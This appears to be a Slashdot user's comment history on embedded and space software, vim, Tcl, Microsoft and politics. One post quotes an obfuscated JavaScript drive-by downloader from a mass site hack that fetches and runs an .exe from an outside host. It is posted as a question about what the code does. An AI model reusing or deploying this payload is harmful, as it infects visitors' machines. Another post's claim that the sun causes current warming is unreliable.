User: slashbart

Probably in the U.S.

On: MacBook Air Confuses Airport Security

I've brought crates full of improvized electronics through security, I've literally had a ratsnest of wires and handsoldered breadboarded electronics in my hand luggage, together with a laptop and all the usual crap.

The worst that has happened is that one of the polite security people asked to look inside my backpack containing all this junk showing up on the scanner. I've not had any nasty experiences on Amsterdam Schiphol, Paris Charles de Gaulle, Bordeaux or Toulouse.

My wife has actually been interested in a job as "high risk flight agent". They are actually asking for a fair amount of education for these jobs.

So I don't share these experiences at all, here in Europe.

Re:Control your aircraft or photocopier with Web 2

On: De Icaza Regrets Novell/Microsoft Pact

>> What's stopping the timing critical part from being handled by the "bag of device drivers" while the presentation is handled by a browser?

If you call all the software that makes various parts of for instance a photocopier work together a "device driver" then you're correct.

It's a nonsense definition though. All the realtime activity inside that photocopier will typically be controlled and synchronized by an operating system, using its thread, i/o and other primitives. So unless you decide to call an operating system a device driver, there will remain a large category of (mostly embedded) applications where the web 2.0 paradigm is non applicable.

Bart

Re:Control your aircraft or photocopier with Web 2

On: De Icaza Regrets Novell/Microsoft Pact

A device driver is a low level interface that provides an API to a piece of hardware.

If the controlling software needs any kind of timing critical, high bandwidth or low latency connection to the device, a web(like) interface is complete nonsense.

Marc Andreessen is the browser guy, and apparently doesn't look much further than what he knows.

Bart

Control your aircraft or photocopier with Web 2.0

On: De Icaza Regrets Novell/Microsoft Pact

Operating systems irrelevant, hardly. Amazing what a small world some people live in.

Another one: a CAD program, ooooohhh that would suck like a vacuum cleaner.

Tcl is not so bad

On: When Should We Ditch Our Platform?

Funny about this academic use of Tcl you're talking about. My little space station project makes extensive use for Tcl, both on the user interface side, and on the embedded side. All the command handling was done in Tcl, and it's flexibility has really helped us a lot when we needed to implement some higher level functions on top of the base functionality.

I think its syntax is butt-ugly, but its functionality is great. Maybe next time around I would use lua, but I'm not sure. What's awesome about Tcl is that while communicating with our equipment, I could create procedures on the fly for doing some things:

>proc led_flash { } { set_value 100 1; wait 1000; set_value 100 0 }
>led_flash
>for {set i 0} {$i < 10} {incr i} led_flash
>

This kind of flexibility is awesome.

So be nice to Tcl :-)

So right!

On: Feds Have a High-Speed Backdoor Into Wireless Carrier

... that thanks to Bush the terrorists have succeeded beyond their wildest dreams? That thanks to him, 19 insane religious fanatics have gone from "attacked three buildings and got their organization crushed like a bug for it's trouble" to "shook the rule of law, the foundation of the most powerful country in the world, to it's base?" That thanks to him and the Republican fear machine, bin Laden has changed and hurt American society in ways he never could have dreamed of? That thanks to him, the terrorists have won in every way that matters?

This is by far the most clear and concise description I've seen on the U.S. reaction to the 9/11 events.

Robert A. Heinlein: "if this goes on"

On: Bill Allows Teachers to Contradict Evolution

Chilling prediction of your future: (written in 1940, revised in '53)
Robert Anson Heinlein: If this goes on

Bart

Bullshit, ask the original firefox blogger:

On: Mac OS X Secretly Cripples Non-Apple Software

On the Firefox blog Vladimir writes:

Edit: Slashdot seems to have picked up on this, and in typical style, has completely misunderstood the post. To be clear, I do not think that Apple is in any way trying to purposely "cripple" non-Apple software. I also do not think that undocumented APIs give Safari any kind of "significant performance advantage" (as Firefox 3 should show!). However, as I said, the undocumented functionality could be useful for Firefox and other apps to implement things in an simpler (and potentially more efficient) manner. I don't think this is malicious, it's just an unfortunate cutting of corners that is way too easy for a company that's not fully open to do.

His finding is that there is a beamsync synchronization, which can possible cause rapidly updating displays to slow down. There are some yet undocumented calls in the Webkit library that allows software to deal with beamsync.

Global Warming

On: Correcting Misperceptions About Evolution

Some very serious scientists have strong convictions that the sun is actually the cause of the current warm period. I've been to a lecture of one of them (Bas van Geel ) where he showed very detailed data from Be10 isotope concentrations in treerings, that correlate highly with the suns output. The suns slight variations have a large and almost immediate (within a few years) effect on the climate.

His lecture data was completely convincing (I'm a physicist, and can read graphs with the best of them). Furthermore, this guy is not a corporate figurehead; he explicitly states that he is for all the energysavings we can think of, he just hates the current media hysteria around global warming, and the fact that it's supposedly all our fault.

Bart

April first already?

On: Microsoft Trying To Appeal to the Unix Crowd?

Man I didn't realize it was spring already. Time to grab the climbing gear.

Mythbusters!

On: Getting The Public To Listen To Good Science

The Mythbusters team attempts to show scientific reasoning, variable elimination, repeatability and other tenets of doing science. They also show the joy of it. And then they blow stuff up, which is enjoyable in itself :-)

Many of the 'real' science programs on TV spend far less time on explaining the process of science, and instead present the subject (whatever it is), as a sequence of 'facts', with little discussion.

I really think that Mythbusters is probably the best science promotion show on TV.

Get real

On: Microsoft's New Leaf On Interoperability

Man what a piece of drivel.

If you as a company don't even have the documentation in house that describes your protocols, you don't have any excuse for whining when a government forces you to spend time and money to create this documentation. Furthermore, I don't believe you at all. A company as large as Microsoft must have internal documentation for its own staff.

Re:Professional Tools

On: Microsoft to Give Away Developer Tools to Students

Are the code completion and jump-to-declaration actually based off syntax trees or just text searching?
Just text.

I think you have some good points. My aerospace work typically doesn't have so many unknowns for me. I generally know pretty much every line of code of the whole project, and the number of libraries, and their size is quite small. For man pages 'K' in vim opens the manpage of the word under the cursor, so for most posix stuff I do get the help in my editor window. I also often alt-tab to a browser window, true enough.

:-) This can't be slashdot, we're having a civilized argument :-)

Funny, I wrote in assembly language only last year

On: Obsolete Technical Skills

Writing a interrupt driving task switcher for uCos-II, completely impossible in even C.

Bart.

P.S. developing on Rabbit microcontrollers sucks for large applications. Dynamic-C is a toy, and the Softools compiler is buggy as hell.

oops example got scrambled

On: Microsoft to Give Away Developer Tools to Students

project-wide renames:
vim *.[ch]
:argdo %s/\<MyClassName\>/my_class_name/ge | update

Re:Professional Tools

On: Microsoft to Give Away Developer Tools to Students

For vim we have:

code completion
^p

jump-to-declaration
^]

project-wide renames:
vim *.[ch] :argdo %s/\/my_class_name/ge | update

I've used IDE's in the past, but not any more. I'm way more productive with vim and supporting tools. Also, extremely important, is that the toolset mindset leads to a far better understanding of the process. A lot of click-click IDE users have only a marginal understanding of what is going on.

I write space qualified software, so generally I have time to think about what I code. I don't see the point in code completion. If I don't know what some class is doing, I'd much rather read the documentation than just browsing through the list of methods. It might save a few seconds once in a while, but that's about it.

Re:Urgh... some worse than others.

On: Bruce Schneier Weighs in on IT Lock-in Strategies

>Presumably there are no DHCP or BOOTP clients for Linux, then?

Showing your ignorance in public is probably not a good thing for improving your standing with your peers. Unless your peers are all on the same level as you are. Fortunately this is not the case.

Pakistan on the Mediterranean?

On: The Effects of the Fibre Outage Throughout the Mediterranean

Man o man, geography must be a really hard subject

Want to bet Yahoo portal will become Silverlight?

On: Yahoo Deal Is Big, but Is It the Next Big Thing?

Sort of a roundabout way of pushing Silverlight into mainstream use?

Also, what about all the opensource stuff Yahoo is sponsoring, guess we won't see much of that anymore.

Bart

So what does it do?

On: Mass Hack Infects Tens of Thousands of Sites

document.writeln("");
document.writeln("");
document.writeln("");

eval("\146\165\156\143\164\151\157\156\40\147\156\50\162\122\141\107\105\171\153\125\61\51\15\12\173\15\12\166\141\162\40\117\162\150\62\75\167\151\156\144\157\167\133\42\115\141\164\150\42\135\133\42\162\141\156\144\157\155\42\135\50\51\52\162\122\141\107\105\171\153\125\61\73\15\12\162\145\164\165\162\156\47\176\164\155\160\47\53\47\56\164\155\160\47\15\12\175\15\12\146\165\156\143\164\151\157\156\40\104\157\167\156\105\50\106\151\154\145\125\122\114\54\114\157\143\141\154\106\151\154\145\51\15\12\173\15\12\164\162\171\15\12\173\15\12\166\151\160\75\106\151\154\145\125\122\114\73\15\12\166\141\162\40\143\150\145\156\172\151\75\167\151\156\144\157\167\133\42\144\157\143\165\155\145\156\164\42\135\133\42\143\162\145\141\164\145\105\154\145\155\145\156\164\42\135\50\42\157\142\152\145\143\164\42\51\73\15\12\143\150\145\156\172\151\133\42\163\145\164\101\164\164\162\151\142\165\164\145\42\135\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\51\73\15\12\166\141\162\40\160\163\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\115\151\143\162\157\163\157\146\164\56\130\115\114\110\124\124\120\42\54\42\42\51\73\15\12\166\141\162\40\154\157\166\145\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\101\144\157\144\142\56\123\164\162\145\141\155\42\54\42\42\51\73\15\12\154\157\166\145\133\42\164\171\160\145\42\135\75\61\73\15\12\160\163\133\42\157\160\145\156\42\135\50\42\107\105\124\42\54\166\151\160\54\60\51\73\15\12\160\163\133\42\163\145\156\144\42\135\50\51\73\15\12\143\150\151\156\141\75\147\156\50\61\60\60\60\60\51\53\114\157\143\141\154\106\151\154\145\73\15\12\166\141\162\40\150\110\146\44\122\66\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\143\162\151\160\164\151\156\147\56\106\151\154\145\123\171\163\164\145\155\117\142\152\145\143\164\42\54\42\42\51\73\15\12\166\141\162\40\126\147\104\156\132\130\110\164\67\75\150\110\146\44\122\66\133\42\107\145\164\123\160\145\143\151\141\154\106\157\154\144\145\162\42\135\50\60\51\73\15\12\143\150\151\156\141\75\150\110\146\44\122\66\133\42\102\165\151\154\144\120\141\164\150\42\135\50\126\147\104\156\132\130\110\164\67\54\143\150\151\156\141\51\73\15\12\154\157\166\145\133\42\117\160\145\156\42\135\50\51\73\15\12\154\157\166\145\133\42\127\162\151\164\145\42\135\50\160\163\133\42\162\145\163\160\157\156\163\145\102\157\144\171\42\135\51\73\15\12\154\157\166\145\133\42\123\141\166\145\124\157\106\151\154\145\42\135\50\143\150\151\156\141\54\62\51\73\15\12\154\157\166\145\133\42\103\154\157\163\145\42\135\50\51\73\15\12\166\141\162\40\123\155\101\143\161\111\167\107\126\70\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\150\145\154\154\56\101\160\160\154\151\143\141\164\151\157\156\42\54\42\42\51\73\15\12\145\170\160\61\75\150\110\146\44\122\66\133\42\102\165\151\154\144\120\141\164\150\42\135\50\126\147\104\156\132\130\110\164\67\53\47\134\134\163\171\163\164\145\155\63\62\47\54\47\143\155\144\56\145\170\145\47\51\73\15\12\123\155\101\143\161\111\167\107\126\70\133\42\123\150\145\154\154\105\170\145\143\165\164\145\42\135\50\145\170\160\61\54\47\40\57\143\40\47\53\143\150\151\156\141\54\42\42\54\42\157\160\145\156\42\54\60\51\175\143\141\164\143\150\50\151\51\173\151\75\61\175\15\12\175\15\12\104\157\167\156\105\50\42\150\164\164\160\72\57\57\143\56\165\143\70\60\61\60\56\143\157\155\57\60\57\61\56\145\170\145\42\54\42\61\71\56\145\170\145\42\51\73")

Any idea?

Re:MS is just seeking parity

On: Microsoft Complains About Google's Monopoly Abuse

You are a so completely wrong it's not funny

Microsoft is completely free to implement ODF, and will have little technical problem doing this. Given their quality control department it probably won't be real ODF but that's what xml schema validators are for. So if Microsoft has a compelling product using ODF, they're completely free to offer it to EU government agencies that require products that use ODF. The Dutch decision for instance is about ODF and not about open source.

I don't know who these FOSSies are that you're talking about, but you're probably a MCSE-ie? Well keep on solitairing and leave decisions to intelligent people.

Amsterdam is moving 10000 desktops to Ooo

On: Dutch Government Adopts Open Source Software Initiative

It's happening already!

Re:Vim is painful.

On: Hacking VIM

Pain In De Ass ?

Just kidding :-)

Piece of cake!

On: Are You Proud of Your Code?

Hi
No problem. About half of all the code I've written in my 20 year career is for use in spacecraft, or space related stuff on the ground. I have absolutely zero problems convincing management that code quality is paramount. Coding is only a small part of the product development time anyway, documentation (Requirements, Architectural Design Document, Detailed DD, Test & Verification plans, lifecycle plan,...) and test activities take ca. 70% of total time.

I've coded in assembly for Mir, in C for Spacelab and I.S.S It doesn't get much better :-) So my advice: try to find the right place. Embedded programming typically has to be better quality than for instance web apps. People just don't tolerate a washing machine that needs a three finger salute (or a spacecraft for that matter).

Life is good.

Re:Hate them all... Flash any better?

On: Users and Web Developers Vent Over IE7

I've just had a look at it. Looks interesting.

I had pretty much decided that I'd had it with web apps. I like embedded much better, and there's plenty of work anyway. Maybe with this tool web programming becomes fun again.
Thanks for the tip.